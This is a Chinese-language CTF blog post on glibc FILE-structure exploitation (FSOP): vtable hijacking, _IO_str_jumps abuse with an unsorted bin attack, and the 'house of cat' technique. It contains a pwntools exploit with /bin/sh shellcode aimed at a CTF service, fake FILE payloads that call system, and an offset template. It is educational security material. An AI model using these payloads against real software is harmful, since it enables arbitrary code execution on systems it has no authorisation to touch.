关于pwn的技巧真多。。。其实这个思路是看了队友的poc才知道的
2018.9.9 更新:这个思路也是看了队友的博客才知道的,队友太强了
2024.5.20 更新:谁能想到,七年之后这个技巧居然还能玩,有了自己专属的名字 File Stream Oriented Programming ,而且成了高版本中比较稳定的利用思路。。。
pwn之文件指针处理(File Stream Pointer Overflow)
攻击原理
每一个文件对象本质上是一个结构体struct _IO_FILE
,这个结构体中会记录一些和文件操作相关的变量,其定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 struct _IO_FILE { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker * _markers ; struct _IO_FILE * _chain ; int _fileno; int _flags2; _IO_off_t _old_offset; unsigned short _cur_column; signed char _vtable_offset; char _shortbuf [1 ]; _IO_lock_t * _lock; __off64_t _offset; struct _IO_codecvt *_codecvt ; struct _IO_wide_data *_wide_data ; struct _IO_FILE *_freeres_list ; void *_freeres_buf; size_t __pad5; int _mode; char _unused2[15 * sizeof (int ) - 4 * sizeof (void *) - sizeof (size_t )]; }; struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt ; wchar_t _shortbuf[1 ]; const struct _IO_jump_t *_wide_vtable ; };
结构体中的_IO_read*
和_IO_write*
部分会在调用scanf/fread
和printf/fwrite
这类会利用缓冲区的函数的时候被调用就会利用到这个缓冲区进行读写(此处可pwn,利用修改这几个指针实现leak,通常见于没有泄露函数的情况下使用,让puts/printfs等函数泄露)
_chain
属性则是连接了下一个strcut _IO_FILE*
。
从这里 能够看到这些结构体成员的常见偏移如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 _IO_FILE_plus_size = { 'i386' :0x98 , 'amd64' :0xe0 } _IO_FILE_plus = { 'i386' :{ 0x0 :'_flags' , 0x4 :'_IO_read_ptr' , 0x8 :'_IO_read_end' , 0xc :'_IO_read_base' , 0x10 :'_IO_write_base' , 0x14 :'_IO_write_ptr' , 0x18 :'_IO_write_end' , 0x1c :'_IO_buf_base' , 0x20 :'_IO_buf_end' , 0x24 :'_IO_save_base' , 0x28 :'_IO_backup_base' , 0x2c :'_IO_save_end' , 0x30 :'_markers' , 0x34 :'_chain' , 0x38 :'_fileno' , 0x3c :'_flags2' , 0x40 :'_old_offset' , 0x44 :'_cur_column' , 0x46 :'_vtable_offset' , 0x47 :'_shortbuf' , 0x48 :'_lock' , 0x4c :'_offset' , 0x54 :'_codecvt' , 0x58 :'_wide_data' , 0x5c :'_freeres_list' , 0x60 :'_freeres_buf' , 0x64 :'__pad5' , 0x68 :'_mode' , 0x6c :'_unused2' , 0x94 :'vtable' }, 'amd64' :{ 0x0 :'_flags' , 0x8 :'_IO_read_ptr' , 0x10 :'_IO_read_end' , 0x18 :'_IO_read_base' , 0x20 :'_IO_write_base' , 0x28 :'_IO_write_ptr' , 0x30 :'_IO_write_end' , 0x38 :'_IO_buf_base' , 0x40 :'_IO_buf_end' , 0x48 :'_IO_save_base' , 0x50 :'_IO_backup_base' , 0x58 :'_IO_save_end' , 0x60 :'_markers' , 0x68 :'_chain' , 0x70 :'_fileno' , 0x74 :'_flags2' , 0x78 :'_old_offset' , 0x80 :'_cur_column' , 0x82 :'_vtable_offset' , 0x83 :'_shortbuf' , 0x88 :'_lock' , 0x90 :'_offset' , 0x98 :'_codecvt' , 0xa0 :'_wide_data' , 0xa8 :'_freeres_list' , 0xb0 :'_freeres_buf' , 0xb8 :'__pad5' , 0xc0 :'_mode' , 0xc4 :'_unused2' , 0xd8 :'vtable' } }
所有打开的文件FILE
结构都会以链表的形式存储在内存中,链表的头部为_IO_list_all
,是libc的全局变量。IO_FILE
结构体就存在这个链表中 当涉及文件流操作的时候,就会从这里进行数据操作。
当打开一个文件的时候,此时的会从从堆上分配一个区域,用来存放一个包含_IO_FILE
结构体的另一个结构体_IO_FILE_plus
1 2 3 4 5 struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable ; };
这个_OP_jump_t*
指针指向了一个函数指针组成的内存区域。不同的文件对象通过填充不同的函数指针,从而实现统一API调用下的不同处理。这边我们看到这个 vtable 的结构体为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #define JUMP_INIT(NAME, VALUE) VALUE const struct _IO_jump_t _IO_file_jumps ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_file_finish), JUMP_INIT(overflow, _IO_file_overflow), JUMP_INIT(underflow, _IO_file_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_default_pbackfail), JUMP_INIT(xsputn, _IO_file_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT( , _IO_new_file_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, _IO_new_file_sync), JUMP_INIT(doallocate, _IO_file_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
这些函数相当于是在调用read/write/fflush...
等函数的时候会利用的指针。
触发条件
这里有一个隐含的触发条件,FILE结构体想要工作,前提是缓冲区中有数据 。当然这里不是真的要求有数据,而是FILE->xxx_base < FILE->xxx_ptr
,在这种前提下缓冲区才会工作,所以利用条件中,一定要满足FILE->_IO_write_base
<FILE->_IO_write_ptr
或者FILE->_IO_read_base
<FILE->_IO_read_ptr
利用方式(libc<=2.23)
通过上面对函数的分析,我们会发现 FILE 在使用过程中,本质上会调用的是函数指针,则如果我们能够通过伪造完整_IO_FILE_plus
,然后让fp指针指向我们的fake FILE,并且将其中的vtable指向一个由我们控制的内存区域,在区域中填写我们攻击需要用到的函数地址,就能够实现攻击。
实例
首先看到源代码,非常简单,直接贴处理:
这个读取内容虽然简单,但是正好也是不会把栈的返回值改掉,从代码上看没有canary(其实也没有)顺便注意一下此时的文件打开用的是fopen而不是open:
形式一片大好啊,看起来可以利用一下那个.bss,这里采取伪造文件头指针 的方法进行攻击:
首先我们来看一下这个函数:
fflush(stream* FILE)
这个函数会将我们的文件流刷新。然后想到此时我们可以通过伪造vtable的形式进行攻击,于是我们查看一下内存:
红框处即为vtable的值。于是我们通过修改文件指针0xd0+8的位置上的数据,就相当于修改了vtable。我们通过修改其中对应函数的地址,就能在调用该函数的时候跳转到指定位置上(不过呢看到队友直接暴力处理了23333直接全部统一修改成我们指定的地址上),从而执行shellcode。
这里附上大佬队友的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *debug = 0 if debug: p = process('./pwn1' ) else : p = remote('10.50.1.3' , 8888 ) store_addr = 0x6010A0 fake_file = p64(0x8000 ) + '\x00' * 0xd0 fake_file += p64(store_addr + 0xd8 + 8 ) fake_file += p64(0x6012c0 ) * 40 sc = "\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68" fake_file += sc p.recvuntil("enter the secret:" ) p.send(fake_file) p.recvuntil("enter your name:" ) payload = 'a' * 0xc8 + p64(store_addr) p.sendline(payload) p.interactive()
利用方式(libc>=2.24)
从这个版本后,glibc中增加了一个对于 vtable 的检测函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void _IO_vtable_check (void ) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t ) vtable; uintptr_t offset = ptr - (uintptr_t ) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
此时为了保证攻击的进行,只能让 vtable 落在[__start___libc_IO_vtables, __stop___libc_IO_vtables]
才行。
所以学习了一个新的姿势,就是使用一些已有的vtable进行攻击 。
这里介绍的是_IO_str_jumps
。其也是struct _IO_jump_t
结构体,并且这个结构体中的_IO_OVERFLOW
有可以利用的地方。我们这里首先介绍这个漏洞的利用条件
这里介绍的是32bit的程序,所以以下的偏移仅适用于32bit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if ( fp->_flags & 8 ) return -!v3; if ( (fp->_flags & 0xC00 ) == 0x400 ){ BYTE1(v2) |= 8u ; v13 = fp->_IO_read_end; fp->_flags = v2; write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = v13; fp->_IO_write_ptr = write_ptr; } else { write_ptr = fp->_IO_write_ptr; }
这里是flag的确定,为了防止程序陷入到这部分内容,我们可以简单的让flags为0,即可达到这个目的。
然后我们观察之后的逻辑:
1 2 3 4 5 6 7 8 9 10 11 base = fp->_IO_buf_base; offset = fp->_IO_buf_end - base; if ( write_ptr - fp->_IO_write_base >= offset + v14 ){ if ( fp->_flags & 1 ) return -1 ; v15 = 2 * offset + 100 ; v16 = (char *)(fp->_IO_buf_end - base); if ( offset > v15 ) return -1 ; v8 = ((int (__cdecl *)(unsigned int ))fp[1 ]._IO_read_ptr)(2 * offset + 100 );
可以看到,这里会调用一个在fp中的函数,我们看一下实际上是什么:
可以看到,实际上这个地方call的是一个esi+0x98位置的变量。显然这个位置是我们可控 的。同时我们通过设置fp->_IO_buf_base
和fp->_IO_buf_end
两个参数,就能够将参数的位置也确定下来。同时注意到,我们需要保证write_ptr - fp ->_IO_write_base >= offset
,才能够进入调用流程。
之后我们可以通过让结构体之间发生错位 让_IO_str_umps
的地址根据需要偏移(例如+4,让_IO_OVERFLOW对齐至正常的_IO_FINISH上,从而在调用fclose的时候进入该流程)从而调用这个函数。
与堆(unsorted bin attack)的结合
如果我们此时是一个堆的题目,那么我们可以很容易的触发到这个逻辑:
首先我们介绍一个地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int _IO_flush_all_lockp (int do_lock) { int result = 0 ; FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif for (fp = (FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF)
这个函数会在我们发生_int_malloc_printerr 的时候触发,而这个错误其实在堆的相关题目中很容易触发,所以这里优先考虑这个方法。如果要进入这个逻辑的话,那么除了上述提到的条件,我们还要满足
fp->mode = -1
fp->_IO_write_ptr > fp->_IO_write_base
此时才会进入_IO_OVERFLOW的逻辑。这里给出如果要从这里触发 vtable 的利用方式时,我们需要伪造的 FILE 结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 fake_bin = p32(0 ) fake_bin += 'DEAD' * 3 fake_bin += 'DEAD' * 1 fake_bin += p32(bin_sh) fake_bin += p32(0 ) fake_bin += p32((bin_sh- 100 )/2 ) fake_bin += '\x00' * (0x48 - len (fake_bin)) fake_bin += p32(null_ptr) fake_bin += '\x11' * (0x68 - len (fake_bin)) fake_bin += p32(-1 ) fake_bin += '\x00' * (0x94 - len (fake_bin)) fake_bin += p32(vtable) fake_bin += p32(system_addr)
但是如何和unsorted bin attack结合呢?关键在于unsorted bin attack 是可以修改**任意地址为unsorted_bin(av)**的,那么此时通过修改_IO_list_all 这个全局变量为unsorted_bin,则此时程序不会崩溃,并且会进入到遍历的逻辑上(也就是会发生一次fp = fp->_chain)。在unsorted_bin(av)中,_chain
这个地址指向的是smallbin[5](64bit下是smallbin[4])的存放地址。所以我们可以通过产生smallbin,伪造一个完整的FILE
结构体,从而实现一次攻击。
具体的例子可以看pwnhub old_chall
利用方式(libc>=2.35) house of cat
这是前几天队友教的新的利用方法。在这个版本中,之前提到的_IO_str_jumps
的漏洞已经被修补了,修补方式为不再使用函数指针 ,那么此时我们就无法通过伪造FILE结构体进行攻击了。于是大伙又找了个新的利用点,也就是_IO_wfile_jumps
这个表。同时,在这几年间 这个方法还有了新的改进:因为原先的漏洞利用思路所使用的_IO_OVERFLOW
相关问题已经堵死,于是此时修改的FILE->vtable
不再像过去一样使用_IO_wfile_jumps
起始地址,而是使用其相对偏移的某一处地址 ,从而调用vtable中其他函数。
这样一来,就能沿用之前的思路,利用以下条件诱发_IO_flush_all_lockp
,并且来到我们指定的函数位置:
exit退出
__malloc_assert
~~ - 老版本libc中的abort
~~
这边参考的这位师傅 的流程,不过因为我比赛期间使用的环境问题更多,这里记录一下整体的流程。
首先这类文件结构体的攻击是极具特征化的 ,所以整体的攻击流程几乎可以复用。我们这边首先记录一下如何触发利用点。在IO_wfile_seekoff
漫长的调用过程中,有几个关键点如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 __off64_t __fastcall IO_wfile_seekoff (_IO_FILE *file, __int64 offset, unsigned int dir, int mode) { v4 = a1; v101 = __readfsqword(0x28 u); wide_data = file->_wide_data; if ( !a4 ) { } _IO_write_base = (unsigned __int64)wide_data->_IO_write_base; _IO_write_ptr = (unsigned __int64)wide_data->_IO_write_ptr; v9 = offset; if ( *(_OWORD *)&wide_data->_IO_read_base == __PAIR128__(_IO_write_ptr, wide_data->_IO_read_end) ) { LODWORD (v93) = 1 ; } else { LODWORD (v93) = 0 ; if ( _IO_write_base < _IO_write_ptr ) goto LABEL_4; } if ( (file->_flags & 0x800 ) == 0 ) { if ( wide_data->_IO_buf_base ) goto LABEL_6; goto LABEL_36; } LABEL_4: v10 = IO_switch_to_wget_mode (&file->_flags); } __int64 __fastcall IO_switch_to_wget_mode (_IO_FILE *a1) { struct _IO_wide_data *wide_data; wchar_t *IO_write_ptr; __int64 result; int flags; wide_data = a1->_wide_data; IO_write_ptr = wide_data->_IO_write_ptr; if ( IO_write_ptr > wide_data->_IO_write_base ) { result = (*((__int64 (__fastcall **)(_IO_FILE *, __int64))wide_data->_wide_vtable + 3 ))(a1, 0xFFFFFFFF LL); if ( (_DWORD)result == -1 ) return result; wide_data = a1->_wide_data; IO_write_ptr = wide_data->_IO_write_ptr; } }
我们的目标是来到IO_switch_to_wget_mode
函数中,并且调用wide_data->_wide_vtable + 3
。此时这个a1
为我们传入的FILE结构体,也就是说这个函数会有一个参数可控,参数对应的位置正是FILE->_flags
(偏移为0)。那么此时为了能够顺利的来到这个函数,我们需要达成以下条件
传入参数mode=0
wide_data->_IO_write_base
< wide_data->_IO_write_ptr
wide_data->_IO_read_end
!= wide_data->_IO_read_ptr
FILE->_lock
可写(这一个条件来自于之前提到的_IO_flush_all_lockp
函数要求)
其中wide_data
按照要求设置好即可,但是这个mode
是怎么设置的呢?要来到这个函数外部,也就是原先的_IO_flush_all_lockp
的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 __int64 __fastcall IO_flush_all_lockp (int a1) { if ( file->_mode > 0 ) { _wide_data = file->_wide_data; v3 = _wide_data->_IO_write_base; if ( _wide_data->_IO_write_ptr > v3 ) goto LABEL_8; } else if ( file->_IO_write_ptr > file->_IO_write_base ) { LABEL_8: vtable = *(_QWORD *)&file[1 ]._flags; if ( &unk_7FC0EAE64768 - (_UNKNOWN *)qword_7FC0EAE63A00 <= (unsigned __int64)(vtable - (_QWORD)qword_7FC0EAE63A00) ) { v14 = *(_QWORD *)&file[1 ]._flags; sub_7FC0EACD6EF0 (lock, vtable - (_QWORD)qword_7FC0EAE63A00); vtable = v14; } lock = (__int64 *)&file->_flags; if ( (*(unsigned int (__fastcall **)(void *, __int64, void *, void *))(vtable + 24 ))( file, 0xFFFFFFFF LL, (void *)v8, v3) == -1 )
其实本来这里的v3
(也就是第四个参数mode)是不存在的,但是毕竟我们是强制修改了调用函数的位置,所以这里相当于强行激活了这个参数。
观察程序可知,第四个参数来自于_wide_data->_IO_write_base
,同时还必须保证file->_mode > 0
以及_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
才能满足,于是这个位置新增需求如下
file->_mode > 0
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
(只有大于才会赋值v3)
_wide_data->_IO_write_base != 0
(满足seekoff函数的mode)
那么结合前面所有的要求,综合下来,这个地方的利用点需要满足如下条件
FILE->_IO_write_base
<FILE->_IO_write_ptr
wide_data->_IO_write_base
< wide_data->_IO_write_ptr
wide_data->_IO_read_end
!= wide_data->_IO_read_ptr
FILE->_lock
可写(这一个条件来自于之前提到的_IO_flush_all_lockp
函数要求)
file->_mode > 0
_wide_data->_IO_write_base != 0
(满足seekoff函数的mode)
总共六条。同时为了实现利用,需要修改如下的点:
FILE->flag="/bin/sh"
wide_data->jump(0xe0 offset)->0x18 = system
两条要求,总共八条,实现攻击。
利用模板
虽然大伙好像都有利用板子一说,但是实际比赛中我也似乎没有写通用的板子。。。不如这边记录一下每一个要修改的偏移和数据格式大概的样子把
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 +--------------->+-----------------------------------------+ | |+0 flag +8 IO_read ptr | | |/bin/sh | | | | | |+10 _IO_read_end +18 _IO_read_base | | |0 system_addr | | |+20 _IO_write_base +28 _IO_write_ptre | | |1 0x100 | | |+30 _IO_write_end | | | | | | | | | | | | | | | | | | | | |+a0 _IO_wide_data | | +-----+Origin_addr | | | | | | | | | | | |+c0 mode | | | |1 | | | | | | | | | | | | | | | | | | | | +e0 _IO_wfile_jumps+0x30 | | | +-----------------------------------------+ | | | | | | | | | +---->+-----------------------------------------+ | |+0 _IO_read_ptr +8 _IO_read_end | | |510 | | |+10 _IO_read_base +18 _IO_write_base | | | 510 | | |+20 _IO_write_ptr +28 _IO_write_end | | |530 | | |+30 _IO_buf_base +38 _IO_buf_end | | | | | | | | | | | | | | | | | |+e0 vtable | +----------------+ptr_to_file_offset | +-----------------------------------------+
大致如上,修改成这样即可完成攻击。
参考链接
参考博客:
http://blog.hac425.top/2018/01/13/pwn_with_file_part4.html